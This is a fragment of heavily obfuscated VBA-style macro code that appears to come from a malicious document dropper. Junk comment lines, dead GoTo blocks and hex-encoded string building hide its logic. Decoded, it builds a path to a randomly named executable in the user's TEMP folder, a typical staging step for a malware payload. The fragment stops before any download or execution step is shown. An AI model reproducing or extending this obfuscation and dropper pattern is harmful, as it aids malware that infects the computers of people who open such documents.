Put #36, , PIhPDhpF
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #36
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
FIyvlsSD:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo rMrTLalM
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim NMgJftHW As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "QQBFRK.UTA" For Binary As 68
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #68, , NMgJftHW
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #68
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
rMrTLalM:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
MSPOJTMU = LTrim(IYVYGKJX)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim NZGBPEDD, DIAZDJJC, BFDTFTMU As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo tSFGncBf
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim aSVaWZxg As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "QUJLWE.UAL" For Binary As 67
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #67, , aSVaWZxg
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #67
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
tSFGncBf:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
NZGBPEDD = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(56) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo IlWsTBeu
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim RlycBeni As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "NCWTCJ.XJC" For Binary As 24
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #24, , RlycBeni
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #24
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
IlWsTBeu:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
DIAZDJJC = LTrim(NZGBPEDD)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo bwsBfsRP
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim mwwqIjzS As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "FFVHBR.PIA" For Binary As 14
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #14, , mwwqIjzS
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #14
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
bwsBfsRP:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
BFDTFTMU = RTrim(DIAZDJJC)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo GUpyFaqJ
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim PUmkoyIL As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "ERZZZK.BVR" For Binary As 36
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #36, , PUmkoyIL
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #36
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GUpyFaqJ:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo LtYjZxWV
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim GyJEXnlB As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "THDUWE.APH" For Binary As 41
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #41, , GyJEXnlB
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #41
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
LtYjZxWV:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
YKXSLLCK = RTrim(MSPOJTMU)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo VZymFwMf
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim MEhYobkg As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "IZNOZZ.RXZ" For Binary As 55
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #55, , MEhYobkg
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #55
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
VZymFwMf:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim QFYWRCKZ, UFHUVZHE, ZGALLYDR As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo CITvBEpe
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim LOGPlUUr As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "UTDQUY.EBG" For Binary As 56
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #56, , LOGPlUUr
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #56
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
CITvBEpe:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
QFYWRCKZ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(66) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo uaSxaEDQ
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim ezXIwUqS As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "SFHPIY.IIK" For Binary As 69
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #69, , ezXIwUqS
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #69
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
uaSxaEDQ:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
UFHUVZHE = LTrim(QFYWRCKZ)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo gtWDEcAX
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim qytBCZBC As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "HHMLXE.SPC" For Binary As 81
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #81, , qytBCZBC
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #81
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
gtWDEcAX:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
ZGALLYDR = RTrim(UFHUVZHE)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo BBwPdHqR
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim MNTCUWIT As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "AEEOBM.CCY" For Binary As 59
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #59, , MNTCUWIT
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #59
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
BBwPdHqR:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo YeziXGgm
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim ZrdljLSw As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "BGVETS.WON" For Binary As 21
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #21, , ZrdljLSw
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #21
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
YeziXGgm:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
pJjokbn = Environ(HEXTOSTRING(Chr$(53) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(48))) & HEXTOSTRING(Chr$(53) & Chr$(67) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(48) & Chr$(53) & Chr$(56) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim KMPBRSFT, FMLQVHSY, OWECLMOI As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim BABDGYVJ, ECYUZNJI, OKGZGWIN As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo WjLGZqpf
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim JkraCgUg As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "YXMMXC.ZHX" For Binary As 43
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #43, , JkraCgUg
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #43
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
WjLGZqpf:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
BABDGYVJ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo IJrNAbOH
